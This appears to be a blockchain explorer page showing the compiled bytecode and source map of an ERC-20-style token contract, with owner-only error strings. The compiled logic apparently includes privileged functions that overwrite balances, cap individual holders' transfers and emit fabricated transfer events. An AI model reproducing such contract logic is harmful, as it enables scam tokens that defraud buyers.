95509295909350565b600080600060608486031215610e4457600080fd5b610e4d84610c07565b9250610e5b60208501610c07565b9150604084013590509250925092565b600060208284031215610e7d57600080fd5b610e8682610c07565b9392505050565b600080600060408486031215610ea257600080fd5b833567ffffffffffffffff80821115610eba57600080fd5b818601915086601f830112610ece57600080fd5b813581811115610edd57600080fd5b8760208260051b8501011115610ef257600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f1b57600080fd5b823567ffffffffffffffff811115610f3257600080fd5b610f3e85828601610cb8565b95602094909401359450505050565b60008060408385031215610f6057600080fd5b610f6983610c07565b9150610f7760208401610c07565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd1578160001904821115610fb757610fb7610f80565b80851615610fc457918102915b93841c9390800290610f9b565b509250929050565b600082610fe8575060016103a6565b81610ff5575060006103a6565b816001811461100b576002811461101557611031565b60019150506103a6565b60ff84111561102657611026610f80565b50506001821b6103a6565b5060208310610133831016604e8410600b8410161715611054575081810a6103a6565b61105e8383610f96565b806000190482111561107257611072610f80565b029392505050565b6000610e8660ff841683610fd9565b80820281158282048414176103a6576103a6610f80565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110c857600080fd5b81518015158114610e8657600080fd5b6000600182016110ea576110ea610f80565b5060010190565b818103818111156103a6576103a6610f80565b808201808211156103a6576103a6610f80565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207914330f466ea47b50563d3240fedc1db17ceda57ce0c0fe80bc41128ebbb52264736f6c63430008120033

Deployed Bytecode Sourcemap

2089:5226:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7036:86;7106:8;;;;;;;;;;;;-1:-1:-1;;;7106:8:0;;;;7036:86;;;;;;;:::i;:::-;;;;;;;;6045:246;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6045:246:0;1004:187:1;6923:105:0;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;6923:105:0;1196:177:1;4426:734:0;;;;;;:::i;:::-;;:::i;6299:616::-;;;;;;:::i;:::-;;:::i;1557:106::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1557:106;;;-1:-1:-1;;;;;4791:32:1;;;4773:51;;4761:2;4746:18;1557:106:0;4627:203:1;7225:87:0;2522:2;7225:87;;;5007:4:1;4995:17;;;4977:36;;4965:2;4950:18;7225:87:0;4835:184:1;2950:111:0;3039:14;;-1:-1:-1;;;;;3039:14:0;2950:111;;2441:36;;;;;;;;;;;;;;;-1:-1:-1;;;2441:36:0;;;;;5168:119;;;;;;:::i;:::-;-1:-1:-1;;;;;5261:18:0;5234:7;5261:18;;;:9;:18;;;;;;;5168:119;1832:250;;;:::i;:::-;;3069:112;;;;;;:::i;:::-;;:::i;2484:40::-;;2522:2;2484:40;;5295:566;;;;;;:::i;:::-;;:::i;3421:229::-;;;;;;:::i;:::-;;:::i;2531:74::-;;;:::i;3279:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3374:31:0;3347:7;3374:31;;;:22;:31;;;;;;;3279:134;3658:596;;;;;;:::i;:::-;;:::i;5869:168::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5990:30:0;;;5963:7;5990:30;;;:18;:30;;;;;;;;:39;;;;;;;;;;;;;5869:168;4262:156;;;;;;:::i;:::-;;:::i;6045:246::-;1184:10;6125:4;6142:42;;;:18;:42;;;;;;;;-1:-1:-1;;;;;6142:51:0;;;;;;;;;;;:57;;;6215:46;;1342:25:1;;;6125:4:0;;6142:51;;1184:10;;6215:46;;1315:18:1;6215:46:0;;;;;;;-1:-1:-1;6279:4:0;6045:246;;;;;:::o;6923:105::-;6978:7;2585:19;2522:2;2585;:19;:::i;:::-;2573:32;;:8;:32;:::i;:::-;6998:22;;6923:105;:::o;4426:734::-;4653:4;;4670:461;4694:10;:17;4690:1;:21;4670:461;;;4760:10;4771:1;4760:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4738:53:0;4747:11;-1:-1:-1;;;;;4738:53:0;-1:-1:-1;;;;;;;;;;;4775:12:0;4788:1;4775:15;;;;;;;;:::i;:::-;;;;;;;4738:53;;;;1342:25:1;;1330:2;1315:18;;1196:177;4738:53:0;;;;;;;;5002:10;5013:1;5002:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4811:219:0;4834:42;-1:-1:-1;;;;;4811:219:0;;4895:12;4908:1;4895:15;;;;;;;;:::i;:::-;;;;;;;4929:1;4949;4969:11;4981:1;4969:14;;;;;;;;:::i;:::-;;;;;;;;;;;;4811:219;;;8662:25:1;;;8703:18;;;8696:34;;;;8746:18;;8739:34;8804:2;8789:18;;8782:34;8649:3;8634:19;4811:219:0;;;;;;;5052:12;-1:-1:-1;;;;;5045:30:0;;5076:10;5087:1;5076:13;;;;;;;;:::i;:::-;;;;;;;5091:11;5104;5116:1;5104:14;;;;;;;;:::i;:::-;;;;;;;;;;;5045:74;;-1:-1:-1;;;;;;5045:74:0;;;;;;;-1:-1:-1;;;;;9085:15:1;;;5045:74:0;;;9067:34:1;9137:15;;;;9117:18;;;9110:43;9169:18;;;9162:34;9002:18;;5045:74:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;4713:3:0;;;;:::i;:::-;;;;4670:461;;;-1:-1:-1;5148:4:0;;4426:734;-1:-1:-1;;;;;;4426:734:0:o;6299:616::-;-1:-1:-1;;;;;6418:24:0;;6393:4;6418:24;;;:18;:24;;;;;;;;1184:10;6418:48;;;;;;;;:55;-1:-1:-1;6418:55:0;6410:93;;;;-1:-1:-1;;;6410:93:0;;9831:2:1;6410:93:0;;;9813:21:1;9870:2;9850:18;;;9843:30;9909:27;9889:18;;;9882:55;9954:18;;6410:93:0;;;;;;;;;-1:-1:-1;;;;;3374:31:0;;6516:28;3374:31;;;:22;:31;;;;;;6588:24;;6584:129;;6644:20;6637:3;:27;6629:72;;;;-1:-1:-1;;;6629:72:0;;10185:2:1;6629:72:0;;;10167:21:1;;;10204:18;;;10197:30;10263:34;10243:18;;;10236:62;10315:18;;6629:72:0;9983:356:1;6629:72:0;-1:-1:-1;;;;;6725:15:0;;;;;;:9;:15;;;;;:22;;6744:3;;6725:15;:22;;6744:3;;6725:22;:::i;:::-;;;;-1:-1:-1;;;;;;;6758:13:0;;;;;;:9;:13;;;;;:20;;6775:3;;6758:13;:20;;6775:3;;6758:20;:::i;:::-;;;;-1:-1:-1;;;;;;;6789:24:0;;;;;;:18;:24;;;;;;;;1184:10;6789:48;;;;;;;:55;;6841:3;;6789:24;:55;;6841:3;;6789:55;:::i;:::-;;;;;;;;6877:2;-1:-1:-1;;;;;6862:23:0;6871:4;-1:-1:-1;;;;;6862:23:0;-1:-1:-1;;;;;;;;;;;6881:3:0;6862:23;;;;1342:25:1;;1330:2;1315:18;;1196:177;6862:23:0;;;;;;;;-1:-1:-1;6903:4:0;;6299:616;-1:-1:-1;;;;6299:616:0:o;1832:250::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1184:10;1714:42;1706:98;;;;-1:-1:-1;;;1706:98:0;;;;;;;:::i;:::-;1923:16:::1;::::0;;1905:88:::1;::::0;1949:42:::1;::::0;-1:-1:-1;;;;;1923:16:0;;::::1;::::0;1905:88:::1;::::0;::::1;2004:16;:70:::0;;-1:-1:-1;;;;;;2004:70:0::1;2031:42;2004:70;::::0;;1832:250::o;3069:112::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1184:10;1714:42;1706:98;;;;-1:-1:-1;;;1706:98:0;;;;;;;:::i;:::-;3146:14:::1;:27:::0;;-1:-1:-1;;;;;;3146:27:0::1;-1:-1:-1::0;;;;;3146:27:0;;;::::1;::::0;;;::::1;::::0;;3069:112::o;5295:566::-;1184:10;5371:4;5396:33;;;:9;:33;;;;;;:40;-1:-1:-1;5396:40:0;5388:73;;;;-1:-1:-1;;;5388:73:0;;11221:2:1;5388:73:0;;;11203:21:1;11260:2;11240:18;;;11233:30;-1:-1:-1;;;11279:18:1;;;11272:50;11339:18;;5388:73:0;11019:344:1;5388:73:0;5474:28;5505:44;1184:10;5526:22;1078:125;5505:44;5474:75;-1:-1:-1;5564:24:0;;5560:129;;5620:20;5613:3;:27;5605:72;;;;-1:-1:-1;;;5605:72:0;;10185:2:1;5605:72:0;;;10167:21:1;;;10204:18;;;10197:30;10263:34;10243:18;;;10236:62;10315:18;;5605:72:0;9983:356:1;5605:72:0;1184:10;5701:33;;;;:9;:33;;;;;:40;;5738:3;;5701:33;:40;;5738:3;;5701:40;:::i;:::-;;;;-1:-1:-1;;;;;;;5752:13:0;;;;;;:9;:13;;;;;:20;;5769:3;;5752:13;:20;;5769:3;;5752:20;:::i;:::-;;;;-1:-1:-1;;5790:41:0;;1342:25:1;;;-1:-1:-1;;;;;5790:41:0;;;1184:10;;-1:-1:-1;;;;;;;;;;;5790:41:0;1330:2:1;1315:18;5790:41:0;;;;;;;;-1:-1:-1;5849:4:0;;5295:566;-1:-1:-1;;;5295:566:0:o;3421:229::-;3039:14;;-1:-1:-1;;;;;3039:14:0;1184:10;2830:49;2822:100;;;;-1:-1:-1;;;2822:100:0;;;;;;;:::i;:::-;3537:6:::1;3532:111;3549:19:::0;;::::1;3532:111;;;3628:3;3590:22;:35;3613:8;;3622:1;3613:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3590:35:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;3590:35:0;:41;3570:3;::::1;::::0;::::1;:::i;:::-;;;;3532:111;;;;3421:229:::0;;;:::o;2531:74::-;2585:19;2522:2;2585;:19;:::i;:::-;2573:32;;:8;:32;:::i;:::-;2531:74;:::o;3658:596::-;3039:14;;-1:-1:-1;;;;;3039:14:0;1184:10;2830:49;2822:100;;;;-1:-1:-1;;;2822:100:0;;;;;;;:::i;:::-;3855:9:::1;3850:397;3874:13;:20;3870:1;:24;3850:397;;;3916:19;3938:13;3952:1;3938:16;;;;;;;;:::i;:::-;;;;;;;3916:38;;4000:1;-1:-1:-1::0;;;;;3977:25:0::1;:11;-1:-1:-1::0;;;;;3977:25:0::1;::::0;3969:63:::1;;;::::0;-1:-1:-1;;;3969:63:0;;12333:2:1;3969:63:0::1;::::0;::::1;12315:21:1::0;12372:2;12352:18;;;12345:30;12411:27;12391:18;;;12384:55;12456:18;;3969:63:0::1;12131:349:1::0;3969:63:0::1;-1:-1:-1::0;;;;;4073:22:0;::::1;4049:21;4073:22:::0;;;:9:::1;:22;::::0;;;;;;;;;;4110:40;;;;4172:63;;12659:25:1;;;12700:18;;;12693:34;;;4073:22:0;;4172:63:::1;::::0;12632:18:1;4172:63:0::1;;;;;;;3901:346;;3896:3;;;;;:::i;:::-;;;;3850:397;;;;3658:596:::0;;:::o;4262:156::-;4338:4;4376:3;-1:-1:-1;;;;;4360:28:0;4369:5;-1:-1:-1;;;;;4360:28:0;-1:-1:-1;;;;;;;;;;;4381:6:0;4360:28;;;;1342:25:1;;1330:2;1315:18;;1196:177;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:275;1581:2;1575:9;1646:2;1627:13;;-1:-1:-1;;1623:27:1;1611:40;;1681:18;1666:34;;1702:22;;;1663:62;1660:88;;;1728:18;;:::i;:::-;1764:2;1757:22;1510:275;;-1:-1:-1;1510:275:1:o;1790:183::-;1850:4;1883:18;1875:6;1872:30;1869:56;;;1905:18;;:::i;:::-;-1:-1:-1;1950:1:1;1946:14;1962:4;1942:25;;1790:183::o;1978:668::-;2032:5;2085:3;2078:4;2070:6;2066:17;2062:27;2052:55;;2103:1;2100;2093:12;2052:55;2139:6;2126:20;2165:4;2189:60;2205:43;2245:2;2205:43;:::i;:::-;2189:60;:::i;:::-;2283:15;;;2369:1;2365:10;;;;2353:23;;2349:32;;;2314:12;;;;2393:15;;;2390:35;;;2421:1;2418;2411:12;2390:35;2457:2;2449:6;2445:15;2469:148;2485:6;2480:3;2477:15;2469:148;;;2551:23;2570:3;2551:23;:::i;:::-;2539:36;;2595:12;;;;2502;;2469:148;;;-1:-1:-1;2635:5:1;1978:668;-1:-1:-1;;;;;;1978:668:1:o;2651:662::-;2705:5;2758:3;2751:4;2743:6;2739:17;2735:27;2725:55;;2776:1;2773;2766:12;2725:55;2812:6;2799:20;2838:4;2862:60;2878:43;2918:2;2878:43;:::i;2862:60::-;2956:15;;;3042:1;3038:10;;;;3026:23;;3022:32;;;2987:12;;;;3066:15;;;3063:35;;;3094:1;3091;3084:12;3063:35;3130:2;3122:6;3118:15;3142:142;3158:6;3153:3;3150:15;3142:142;;;3224:17;;3212:30;;3262:12;;;;3175;;3142:142;;3318:971;3488:6;3496;3504;3512;3520;3573:3;3561:9;3552:7;3548:23;3544:33;3541:53;;;3590:1;3587;3580:12;3541:53;3613:29;3632:9;3613:29;:::i;:::-;3603:39;;3693:2;3682:9;3678:18;3665:32;3716:18;3757:2;3749:6;3746:14;3743:34;;;3773:1;3770;3763:12;3743:34;3796:61;3849:7;3840:6;3829:9;3825:22;3796:61;:::i;:::-;3786:71;;3910:2;3899:9;3895:18;3882:32;3866:48;;3939:2;3929:8;3926:16;3923:36;;;3955:1;3952;3945:12;3923:36;3978:63;4033:7;4022:8;4011:9;4007:24;3978:63;:::i;:::-;3968:73;;4094:2;4083:9;4079:18;4066:32;4050:48;;4123:2;4113:8;4110:16;4107:36;;;4139:1;4136;4129:12;4107:36;;4162:63;4217:7;4206:8;4195:9;4191:24;4162:63;:::i;:::-;4152:73;;;4244:39;4278:3;4267:9;4263:19;4244:39;:::i;:::-;4234:49;;3318:971;;;;;;;;:::o;4294:328::-;4371:6;4379;4387;4440:2;4428:9;4419:7;4415:23;4411:32;4408:52;;;4456:1;4453;4446:12;4408:52;4479:29;4498:9;4479:29;:::i;:::-;4469:39;;4527:38;4561:2;4550:9;4546:18;4527:38;:::i;:::-;4517:48;;4612:2;4601:9;4597:18;4584:32;4574:42;;4294:328;;;;;:::o;5024:186::-;5083:6;5136:2;5124:9;5115:7;5111:23;5107:32;5104:52;;;5152:1;5149;5142:12;5104:52;5175:29;5194:9;5175:29;:::i;:::-;5165:39;5024:186;-1:-1:-1;;;5024:186:1:o;5215:689::-;5310:6;5318;5326;5379:2;5367:9;5358:7;5354:23;5350:32;5347:52;;;5395:1;5392;5385:12;5347:52;5435:9;5422:23;5464:18;5505:2;5497:6;5494:14;5491:34;;;5521:1;5518;5511:12;5491:34;5559:6;5548:9;5544:22;5534:32;;5604:7;5597:4;5593:2;5589:13;5585:27;5575:55;;5626:1;5623;5616:12;5575:55;5666:2;5653:16;5692:2;5684:6;5681:14;5678:34;;;5708:1;5705;5698:12;5678:34;5763:7;5756:4;5746:6;5743:1;5739:14;5735:2;5731:23;5727:34;5724:47;5721:67;;;5784:1;5781;5774:12;5721:67;5815:4;5807:13;;;;5839:6;;-1:-1:-1;5877:20:1;;;;5864:34;;5215:689;-1:-1:-1;;;;5215:689:1:o;5909:416::-;6002:6;6010;6063:2;6051:9;6042:7;6038:23;6034:32;6031:52;;;6079:1;6076;6069:12;6031:52;6119:9;6106:23;6152:18;6144:6;6141:30;6138:50;;;6184:1;6181;6174:12;6138:50;6207:61;6260:7;6251:6;6240:9;6236:22;6207:61;:::i;:::-;6197:71;6315:2;6300:18;;;;6287:32;;-1:-1:-1;;;;5909:416:1:o;6330:260::-;6398:6;6406;6459:2;6447:9;6438:7;6434:23;6430:32;6427:52;;;6475:1;6472;6465:12;6427:52;6498:29;6517:9;6498:29;:::i;:::-;6488:39;;6546:38;6580:2;6569:9;6565:18;6546:38;:::i;:::-;6536:48;;6330:260;;;;;:::o;6595:127::-;6656:10;6651:3;6647:20;6644:1;6637:31;6687:4;6684:1;6677:15;6711:4;6708:1;6701:15;6727:422;6816:1;6859:5;6816:1;6873:270;6894:7;6884:8;6881:21;6873:270;;;6953:4;6949:1;6945:6;6941:17;6935:4;6932:27;6929:53;;;6962:18;;:::i;:::-;7012:7;7002:8;6998:22;6995:55;;;7032:16;;;;6995:55;7111:22;;;;7071:15;;;;6873:270;;;6877:3;6727:422;;;;;:::o;7154:806::-;7203:5;7233:8;7223:80;;-1:-1:-1;7274:1:1;7288:5;;7223:80;7322:4;7312:76;;-1:-1:-1;7359:1:1;7373:5;;7312:76;7404:4;7422:1;7417:59;;;;7490:1;7485:130;;;;7397:218;;7417:59;7447:1;7438:10;;7461:5;;;7485:130;7522:3;7512:8;7509:17;7506:43;;;7529:18;;:::i;:::-;-1:-1:-1;;7585:1:1;7571:16;;7600:5;;7397:218;;7699:2;7689:8;7686:16;7680:3;7674:4;7671:13;7667:36;7661:2;7651:8;7648:16;7643:2;7637:4;7634:12;7630:35;7627:77;7624:159;;;-1:-1:-1;7736:19:1;;;7768:5;;7624:159;7815:34;7840:8;7834:4;7815:34;:::i;:::-;7885:6;7881:1;7877:6;7873:19;7864:7;7861:32;7858:58;;;7896:18;;:::i;:::-;7934:20;;7154:806;-1:-1:-1;;;7154:806:1:o;7965:140::-;8023:5;8052:47;8093:4;8083:8;8079:19;8073:4;8052:47;:::i;8110:168::-;8183:9;;;8214;;8231:15;;;8225:22;;8211:37;8201:71;;8252:18;;:::i;8283:127::-;8344:10;8339:3;8335:20;8332:1;8325:31;8375:4;8372:1;8365:15;8399:4;8396:1;8389:15;9207:277;9274:6;9327:2;9315:9;9306:7;9302:23;9298:32;9295:52;;;9343:1;9340;9333:12;9295:52;9375:9;9369:16;9428:5;9421:13;9414:21;9407:5;9404:32;9394:60;;9450:1;9447;9440:12;9489:135;9528:3;9549:17;;;9546:43;;9569:18;;:::i;:::-;-1:-1:-1;9616:1:1;9605:13;;9489:135::o;10344:128::-;10411:9;;;10432:11;;;10429:37;;;10446:18;;:::i;10477:125::-;10542:9;;;10563:10;;;10560:36;;;10576:18;;:::i;10607:407::-;10809:2;10791:21;;;10848:2;10828:18;;;10821:30;10887:34;10882:2;10867:18;;10860:62;-1:-1:-1;;;10953:2:1;10938:18;;10931:41;11004:3;10989:19;;10607:407::o;11368:402::-;11570:2;11552:21;;;11609:2;11589:18;;;11582:30;11648:34;11643:2;11628:18;;11621:62;-1:-1:-1;;;11714:2:1;11699:18;;11692:36;11760:3;11745:19;;11368:402::o

Swarm Source

ipfs://7914330f466ea47b50563d3240fedc1db17ceda57ce0c0fe80bc41128ebbb522

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.